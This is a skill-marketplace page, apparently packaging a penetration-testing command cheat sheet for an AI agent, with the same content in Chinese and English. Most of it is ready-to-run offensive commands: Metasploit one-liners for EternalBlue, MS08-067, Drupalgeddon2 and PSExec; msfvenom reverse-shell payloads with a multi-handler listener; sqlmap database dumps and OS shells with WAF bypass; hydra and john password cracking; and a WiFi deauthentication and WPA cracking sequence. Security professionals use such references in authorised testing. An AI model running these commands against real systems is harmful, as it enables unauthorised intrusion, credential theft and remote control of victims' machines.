Pentest Commands by automindtechnologie-jpg/ultimate-skill.md
npx skills add https://github.com/automindtechnologie-jpg/ultimate-skill.md --skill 'Pentest Commands'提供全面的渗透测试工具命令参考,包括网络扫描、漏洞利用、密码破解和Web应用测试。在安全评估期间实现快速命令查找。
主机发现:
# Ping 扫描
nmap -sP 192.168.1.0/24
# 列出IP而不扫描
nmap -sL 192.168.1.0/24
# Ping 扫描(主机发现)
nmap -sn 192.168.1.0/24
端口扫描:
# TCP SYN 扫描(隐蔽)
nmap -sS 192.168.1.1
# 完整TCP连接扫描
nmap -sT 192.168.1.1
# UDP 扫描
nmap -sU 192.168.1.1
# 所有端口 (1-65535)
nmap -p- 192.168.1.1
# 指定端口
nmap -p 22,80,443 192.168.1.1
服务检测:
# 服务版本
nmap -sV 192.168.1.1
# 操作系统检测
nmap -O 192.168.1.1
# 全面扫描
nmap -A 192.168.1.1
# 跳过主机发现
nmap -Pn 192.168.1.1
NSE 脚本:
# 漏洞扫描
nmap --script vuln 192.168.1.1
# SMB 枚举
nmap --script smb-enum-shares -p 445 192.168.1.1
# HTTP 枚举
nmap --script http-enum -p 80 192.168.1.1
# 检查 EternalBlue
nmap --script smb-vuln-ms17-010 192.168.1.1
# 检查 MS08-067
nmap --script smb-vuln-ms08-067 192.168.1.1
# SSH 暴力破解
nmap --script ssh-brute -p 22 192.168.1.1
# FTP 匿名登录
nmap --script ftp-anon 192.168.1.1
# DNS 暴力破解
nmap --script dns-brute 192.168.1.1
# HTTP 方法
nmap -p80 --script http-methods 192.168.1.1
# HTTP 头部
nmap -p80 --script http-headers 192.168.1.1
# SQL 注入检查
nmap --script http-sql-injection -p 80 192.168.1.1
高级扫描:
# Xmas 扫描
nmap -sX 192.168.1.1
# ACK 扫描(防火墙检测)
nmap -sA 192.168.1.1
# Window 扫描
nmap -sW 192.168.1.1
# 路由追踪
nmap --traceroute 192.168.1.1
基本用法:
# 启动 Metasploit
msfconsole
# 搜索漏洞利用模块
search type:exploit name:smb
# 使用漏洞利用模块
use exploit/windows/smb/ms17_010_eternalblue
# 显示选项
show options
# 设置目标
set RHOST 192.168.1.1
# 设置载荷
set PAYLOAD windows/meterpreter/reverse_tcp
# 运行漏洞利用
exploit
常见漏洞利用:
# EternalBlue
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"
# MS08-067 (Conficker)
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"
# vsftpd 后门
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"
# Shellshock
msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"
# Drupalgeddon2
msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"
# PSExec
msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"
扫描器:
# TCP 端口扫描
msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"
# SMB 版本扫描
msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"
# SMB 共享枚举
msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"
# SSH 暴力破解
msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
# FTP 暴力破解
msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
# RDP 扫描
msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"
处理器设置:
# 用于反向shell的多处理器
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"
载荷生成 (msfvenom):
# Windows 反向shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe
# Linux 反向shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf
# PHP 反向shell
msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php
# ASP 反向shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp
# WAR 文件
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war
# Python 载荷
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py
# 基本扫描
nikto -h http://192.168.1.1
# 全面扫描
nikto -h http://192.168.1.1 -C all
# 输出到文件
nikto -h http://192.168.1.1 -output report.html
# 基于插件的扫描
nikto -h http://192.168.1.1 -Plugins robots
nikto -h http://192.168.1.1 -Plugins shellshock
nikto -h http://192.168.1.1 -Plugins heartbleed
nikto -h http://192.168.1.1 -Plugins ssl
# 导出到 Metasploit
nikto -h http://192.168.1.1 -Format msf+
# 特定调优
nikto -h http://192.168.1.1 -Tuning 1 # 仅扫描有趣的文件
# 基本注入测试
sqlmap -u "http://192.168.1.1/page?id=1"
# 枚举数据库
sqlmap -u "http://192.168.1.1/page?id=1" --dbs
# 枚举表
sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
# 转储表数据
sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
# 操作系统shell
sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
# POST 请求
sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
# Cookie 注入
sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
# 绕过 WAF
sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
# 风险等级
sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
# SSH 暴力破解
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
# FTP 暴力破解
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1
# HTTP POST 表单
hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
# HTTP 基本认证
hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/
# SMB 暴力破解
hydra -l admin -P passwords.txt smb://192.168.1.1
# RDP 暴力破解
hydra -l admin -P passwords.txt rdp://192.168.1.1
# MySQL 暴力破解
hydra -l root -P passwords.txt mysql://192.168.1.1
# 用户名列表
hydra -L users.txt -P passwords.txt ssh://192.168.1.1
# 破解密码文件
john hash.txt
# 指定字典
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# 显示已破解的密码
john hash.txt --show
# 指定哈希格式
john hash.txt --format=raw-md5
john hash.txt --format=nt
john hash.txt --format=sha512crypt
# SSH 密钥密码
ssh2john id_rsa > ssh_hash.txt
john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# ZIP 密码
zip2john file.zip > zip_hash.txt
john zip_hash.txt
# 监控模式
airmon-ng start wlan0
# 捕获数据包
airodump-ng wlan0mon
# 指定目标网络
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# 取消认证攻击
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# 破解 WPA 握手包
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
# 捕获流量
tshark -i eth0 -w capture.pcap
# 读取捕获文件
tshark -r capture.pcap
# 按协议过滤
tshark -r capture.pcap -Y "http"
# 按 IP 过滤
tshark -r capture.pcap -Y "ip.addr == 192.168.1.1"
# 提取 HTTP 数据
tshark -r capture.pcap -Y "http" -T fields -e http.request.uri
# 快速扫描
nmap -F 192.168.1.1
# 全面综合扫描
nmap -sV -sC -A -p- 192.168.1.1
# 快速版本扫描
nmap -sV -T4 192.168.1.1
| 模式 | 类型 |
|---|---|
| 0 | MD5 |
| 100 | SHA1 |
| 1000 | NTLM |
| 1800 | sha512crypt |
| 3200 | bcrypt |
| 13100 | Kerberoast |
nmap -sV --script vuln 192.168.1.1
nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs
| 问题 | 解决方案 |
|---|---|
| 扫描太慢 | 提高时序参数 (-T4, -T5) |
| 端口被过滤 | 尝试不同的扫描类型 |
| 漏洞利用失败 | 检查目标版本兼容性 |
| 密码无法破解 | 尝试更大的字典文件、规则 |
每周安装数
0
仓库
首次出现
1970年1月1日
安全审计
Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.
Host Discovery:
# Ping sweep
nmap -sP 192.168.1.0/24
# List IPs without scanning
nmap -sL 192.168.1.0/24
# Ping scan (host discovery)
nmap -sn 192.168.1.0/24
Port Scanning:
# TCP SYN scan (stealth)
nmap -sS 192.168.1.1
# Full TCP connect scan
nmap -sT 192.168.1.1
# UDP scan
nmap -sU 192.168.1.1
# All ports (1-65535)
nmap -p- 192.168.1.1
# Specific ports
nmap -p 22,80,443 192.168.1.1
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
Service Detection:
# Service versions
nmap -sV 192.168.1.1
# OS detection
nmap -O 192.168.1.1
# Comprehensive scan
nmap -A 192.168.1.1
# Skip host discovery
nmap -Pn 192.168.1.1
NSE Scripts:
# Vulnerability scan
nmap --script vuln 192.168.1.1
# SMB enumeration
nmap --script smb-enum-shares -p 445 192.168.1.1
# HTTP enumeration
nmap --script http-enum -p 80 192.168.1.1
# Check EternalBlue
nmap --script smb-vuln-ms17-010 192.168.1.1
# Check MS08-067
nmap --script smb-vuln-ms08-067 192.168.1.1
# SSH brute force
nmap --script ssh-brute -p 22 192.168.1.1
# FTP anonymous
nmap --script ftp-anon 192.168.1.1
# DNS brute force
nmap --script dns-brute 192.168.1.1
# HTTP methods
nmap -p80 --script http-methods 192.168.1.1
# HTTP headers
nmap -p80 --script http-headers 192.168.1.1
# SQL injection check
nmap --script http-sql-injection -p 80 192.168.1.1
Advanced Scans:
# Xmas scan
nmap -sX 192.168.1.1
# ACK scan (firewall detection)
nmap -sA 192.168.1.1
# Window scan
nmap -sW 192.168.1.1
# Traceroute
nmap --traceroute 192.168.1.1
Basic Usage:
# Launch Metasploit
msfconsole
# Search for exploits
search type:exploit name:smb
# Use exploit
use exploit/windows/smb/ms17_010_eternalblue
# Show options
show options
# Set target
set RHOST 192.168.1.1
# Set payload
set PAYLOAD windows/meterpreter/reverse_tcp
# Run exploit
exploit
Common Exploits:
# EternalBlue
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"
# MS08-067 (Conficker)
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"
# vsftpd backdoor
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"
# Shellshock
msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"
# Drupalgeddon2
msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"
# PSExec
msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"
Scanners:
# TCP port scan
msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"
# SMB version scan
msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"
# SMB share enumeration
msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"
# SSH brute force
msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
# FTP brute force
msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
# RDP scanning
msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"
Handler Setup:
# Multi-handler for reverse shells
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"
Payload Generation (msfvenom):
# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe
# Linux reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf
# PHP reverse shell
msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php
# ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp
# WAR file
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war
# Python payload
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py
# Basic scan
nikto -h http://192.168.1.1
# Comprehensive scan
nikto -h http://192.168.1.1 -C all
# Output to file
nikto -h http://192.168.1.1 -output report.html
# Plugin-based scans
nikto -h http://192.168.1.1 -Plugins robots
nikto -h http://192.168.1.1 -Plugins shellshock
nikto -h http://192.168.1.1 -Plugins heartbleed
nikto -h http://192.168.1.1 -Plugins ssl
# Export to Metasploit
nikto -h http://192.168.1.1 -Format msf+
# Specific tuning
nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only
# Basic injection test
sqlmap -u "http://192.168.1.1/page?id=1"
# Enumerate databases
sqlmap -u "http://192.168.1.1/page?id=1" --dbs
# Enumerate tables
sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
# Dump table
sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
# OS shell
sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
# POST request
sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
# Cookie injection
sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
# Bypass WAF
sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
# Risk and level
sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
# SSH brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
# FTP brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1
# HTTP POST form
hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
# HTTP Basic Auth
hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/
# SMB brute force
hydra -l admin -P passwords.txt smb://192.168.1.1
# RDP brute force
hydra -l admin -P passwords.txt rdp://192.168.1.1
# MySQL brute force
hydra -l root -P passwords.txt mysql://192.168.1.1
# Username list
hydra -L users.txt -P passwords.txt ssh://192.168.1.1
# Crack password file
john hash.txt
# Specify wordlist
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Show cracked passwords
john hash.txt --show
# Specify format
john hash.txt --format=raw-md5
john hash.txt --format=nt
john hash.txt --format=sha512crypt
# SSH key passphrase
ssh2john id_rsa > ssh_hash.txt
john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# ZIP password
zip2john file.zip > zip_hash.txt
john zip_hash.txt
# Monitor mode
airmon-ng start wlan0
# Capture packets
airodump-ng wlan0mon
# Target specific network
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Deauth attack
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# Crack WPA handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
# Capture traffic
tshark -i eth0 -w capture.pcap
# Read capture file
tshark -r capture.pcap
# Filter by protocol
tshark -r capture.pcap -Y "http"
# Filter by IP
tshark -r capture.pcap -Y "ip.addr == 192.168.1.1"
# Extract HTTP data
tshark -r capture.pcap -Y "http" -T fields -e http.request.uri
# Quick scan
nmap -F 192.168.1.1
# Full comprehensive
nmap -sV -sC -A -p- 192.168.1.1
# Fast with version
nmap -sV -T4 192.168.1.1
| Mode | Type |
|---|---|
| 0 | MD5 |
| 100 | SHA1 |
| 1000 | NTLM |
| 1800 | sha512crypt |
| 3200 | bcrypt |
| 13100 | Kerberoast |
nmap -sV --script vuln 192.168.1.1
nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs
| Issue | Solution |
|---|---|
| Scan too slow | Increase timing (-T4, -T5) |
| Ports filtered | Try different scan types |
| Exploit fails | Check target version compatibility |
| Passwords not cracking | Try larger wordlists, rules |
Weekly Installs
0
Repository
First Seen
Jan 1, 1970
Security Audits
通过 LiteLLM 代理让 Claude Code 对接 GitHub Copilot 运行 | 高级变通方案指南
22,200 周安装